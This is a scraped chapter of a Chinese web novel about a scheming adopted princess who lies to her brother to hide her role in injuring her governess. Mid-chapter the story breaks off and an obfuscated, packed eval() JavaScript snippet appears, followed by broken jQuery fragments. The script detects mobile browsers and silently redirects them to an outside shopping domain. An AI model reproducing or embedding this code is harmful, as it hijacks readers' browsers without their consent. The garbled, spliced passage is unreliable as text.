文趣网 > 其他小说 > 恶魔哥控的禁果 > 6. 得意
    梦妮两只手掌敷上药膏,被纱布厚厚裹住。

    她试着蜷曲手指,指尖却纹丝不动。

    好像什么都做不了。

    她只好盯着打扫房间的贝丝,疑惑道:“阿斯泰尔在做什么?”

    按照她的计划,阿斯泰尔营救下她后不应该不见踪影,他一定是被其他事情缠住了。

    贝丝移动到床边,将枕头打得松软。

    “殿下这几日处理完政事,又回学院上课去了。”

    贝丝将枕头塞到她的腰后。

    “不过小姐放心,殿下说过下午来看您。”

    梦妮整个人陷进枕头中。

    她差点忘记。

    阿斯泰尔的行程在前世就很满——政务、学业、宴会,还有王室各类导师的私下授课。她不去打扰他的另一层原因,是她根本没机会和他独处。

    她只能掐算他经过哪里,远远地问个好。

    而现在,她已经迈出第一步,与他有了交集。

    接下来,宴会她也必须去。但这礼仪,她要争取到由阿斯泰尔亲自教她。

    她已经除掉最大的绊脚石。

    就算阿斯泰尔没有降下处罚,那嬷嬷至少也得躺上十天半月。

    既然阿斯泰尔愿意救她,一定对她是有同情在的,她这时提出学习礼仪这种要求,应该不算为难他。

    梦妮调整了一下姿势,让枕头更好地托住腰部。

    她想着下午的对策,目光漫无目的地飘着,不知不觉落到贝丝身上。

    贝丝走路很慢,而且,一瘸一拐的。

    “你的脚怎么了?”梦妮坐正身子。

    贝丝弯下腰准备擦桌子,腰身忽然一僵:“小姐,没什么,只是脚底磨出了个水泡。”

    捕捉到她脸上闪过的一丝犹疑,梦妮沉下眼眸。

    “你没说实话。”

    贝丝连忙跪下:“对不起小姐,是我没把事情做好。”

    梦妮静静看着她。

    贝丝跪着挪到床边,虚声道:“嬷嬷的人发现那幅用来替换的油画是我拿来的……嬷嬷觉得这事太巧了,就把我拉去审问了一通。”

    她用力按了按膝盖,稳住声音,把话咽了一遍:“但小姐放心,我什么都没承认。”

    贝丝面不改色,鬓角却沁出一层细汗。

    梦妮皱了皱眉:“她用钉子扎了你的脚?”

    “不是,”贝丝抿唇,“只是用小刀划了几条口子。”

    她膝行半步,仰起脸:“还请小姐再给我次机会。下次我绝不会留下任何把柄。”

    梦妮低头看她,目光里浮出几分不解:“你为什么对我这么忠心?”

    她对前世的贝丝没什么印象,只记得做事比较可靠。

    梦妮每个月按时给她恩典,她每个月做好贴身女佣该做的事,二人的交情仅此而已。

    今生也没多大进展。

    贝丝完全可以在嬷嬷私下用刑时出卖她。

    贝丝被问得愣住,她垂下眼,片刻才开口。

    “我守住秘密不是因为忠心。”

    “是因为我知道,出卖您之后嬷嬷也不会放过我。”

    “有人认为做对事重要,”她抬起头,目光平直,“但我认为,像我这样人,跟对人比什么都重要。您做事干净利落,绝地也能反击,我更愿意追随您。”

    梦妮微微挑眉。

    说实话,前世向她效忠的人,各种花言巧语她都听过。她不难分辨是真是假。真正想投靠她的人,举手投足间难免会流露出野心。

    贝丝也一样。

    不过他们都误会了。

    她对钱权名利没有兴趣,她只是把它们当做得到阿斯泰尔的工具。

    贝丝说完,垂下头,像个等待判决的囚犯。

    梦妮看了她一眼,没多说什么:“这几日你先回去歇着吧。”

    贝丝猛地抬头。

    “不是辞退你,”梦妮把裹着纱布的手轻轻搁回被褥上,“恩典也不会扣。你等脚伤养好了再回来。”

    梦妮顿了顿,又补了一句,“花盆里的药膏,你走的时候带上。”

    贝丝张了张嘴,没说出话,只点了点头。

    等她拖着脚出去了,梦妮才重新靠回枕头里,把刚才的信息捋了一遍。

    嬷嬷已经怀疑贝丝了。那她迟早也会被牵扯进去。

    阿斯泰尔……如果知道嬷嬷受伤和她有关,会怎么想?

    她不能让他发现。

    梦妮不知道自己是什么时候睡过去的。

    再醒来时,窗外的光亮已经被移动的云层遮住,整个天都阴沉下来,风把树枝刮得吱嘎乱响。

    她迷迷糊糊坐起来,屋内没有其他人。

    胃里酸水翻涌,肚子发出叽里咕噜的抗议声。

    梦妮皱眉,望了眼窗外的坏天气。

    阿斯泰尔还会来吗?

    她故意让贝丝离开,就是为了阿斯泰尔看到她独自一人后多几分怜惜。

    现在看来,天公不作美。

    他不来,她还真就孤苦伶仃了。

    房间里很安静。安静到她胃里的动静格外清晰。

    梦妮叹口气,从被子下翻滚至床边,用手肘撑着床爬起身,倒退着让脚站上地面。

    梦妮光脚来到壁炉前的小圆桌。

    贝丝把午餐切成了小块,盘子搁在靠近火源的位置保温。

    梦妮看向两只手掌,再看了看近在眼前的食物。

    她二话不说,上半身紧贴桌沿,将脸埋在盘子里嘬起食物,放到嘴里咀嚼。

    阿斯泰尔进门看见的就是这一画面。

    “……梦妮。”

    梦妮听见声音,从盘子里抬起头。

    阿斯泰尔的神情不可谓不精彩——怜惜中带点震惊、妥协中又带着略微嫌弃,总之他看起来有些哭笑不得。

    但梦妮只注意到阿斯泰尔的穿着。

    厚重的白色天鹅绒外套被他的肩膀撑开,露出外套下的浅金色马甲,长靴上挂着的精致银链随着他的行走悠悠晃荡。

    她见过他穿学院制服的样子,但没有这么近距离地看到过,连他胸前银线钩出的学院徽章也能看得清清楚楚。

    梦妮忽然很生气。

    阿斯泰尔为什么要在学院穿成这样?

    或者,为什么不能只在她面前穿成这样?

    “梦妮,”阿斯泰尔见她走神,蹲在她身旁,扶正她的身体,又耐心地问了一遍,“你的侍女呢?”

    梦妮垂下眼,收起眼底的阴郁,“她受伤了。”

    阿斯泰尔眉头微凝。

    梦妮眨了眨眼,声音轻下来:“嬷嬷怀疑我报复她,所以划伤了贝丝的脚。”

    说到“报复”时,她抬眼看了他一下,又飞快地垂下去。

    阿斯泰尔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887023|212582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    脸色微沉,下颌绷紧。

    梦妮趁着他思考,走近他怀里,把脸埋在他脖颈。

    毛绒绒的领子蹭得她耳朵发痒,梦妮心中的乌云消散几分。

    “哥哥,我好害怕,”她肩膀缩起来,眼睛却直勾勾地盯着他的耳垂,“嬷嬷会回来打我吗?”

    阿斯泰尔轻轻拍了拍她的背。

    “梦妮,不用担心嬷嬷的事了,我已经和父王说好了,换人来教你。”

    他安抚道:“我向你保证,她不会再回来。”

    梦妮眼底闪过一丝冷意。

    她以命相搏,也只是让嬷嬷不再教她而已。

    她这位父王,看来和她这个恶魔冷血的程度不相上下。

    要不是有阿斯泰尔,她可能尸首异处,王室也不过换个孩子领养罢了。

    “但是梦妮,你能向我保证吗?”

    阿斯泰尔语气严肃起来,“嬷嬷脚被钉子扎的事情你一点都没参与。”

    嬷嬷已经向他的父王告过状。当时他就站在旁边听着。

    难怪嬷嬷起疑——偏偏是她房门口松了钉子,偏偏是梦妮的女佣隔天要钉新画,偏偏她正在教梦妮学习礼仪。

    两颗钉子,就不偏不倚埋伏在她起夜的走廊上。

    但这些并不是让阿斯泰尔怀疑上梦妮的证据。

    更重要的是,嬷嬷和塔楼的守卫都有同样的描述——他们耳边,有人在说话。

    他那副哄小孩的语气,梦妮一听就是在试探。

    她本来还有些心虚,怕他真发现什么。但他越是这样小心求证,她越安心。

    嘴角差点翘起来,梦妮忍住了。

    看来她主动提起嬷嬷的决断是正确的。

    不仅如此,她还有意外收获——她如果回答的好,阿斯泰尔会选择相信她,而且不会再调查。

    撒个谎而已,道德对她的约束作用从来都是零。

    若是让他知道,她心里真正想对他做的事情,那才叫精彩。

    梦妮莫名想看看。

    但现在不行。

    “哥哥,我的确许过愿,希望嬷嬷有一天无法再打我。”

    她将缠得里三层外三层的手掌放到他手心。

    “但我和哥哥拉过钩不是吗?”

    “所以我让贝丝来找哥哥帮忙了。”

    阿斯泰尔金眸里浮过一抹愧疚,梦妮嘴角没压住。

    她乘胜追击,再次落在他脸侧一个亲吻,一触即分。

    “谢谢哥哥来帮我。”

    梦妮长着一双杏眼,笑起来却可以弯成两抹月牙。

    阿斯泰尔看她满身伤痕,还亮晶晶地望着他,忍不住摸摸她的头。

    “是哥哥来晚了。”

    他一开始就知道父王派去教导她的是王室中最严厉的嬷嬷。但他一次没来看过她。

    金眸里的落寞让内心得意的梦妮嘴角有一瞬僵滞。

    心脏像被重物压锤,让她不能呼吸。

    她在难过什么?

    她演得这么好,他流露一点真情,不正是她想要的吗?

    梦妮眨眨眼睛,晃着脑袋蹭他的手心:“那哥哥,这几天我可以和哥哥一起住吗?”

    阿斯泰尔没有立即做出回应。

    梦妮咬唇,失落地低下头,有些为难道:“这里我只认识哥哥和贝丝,现在她回家了。”

    “我只有哥哥了。”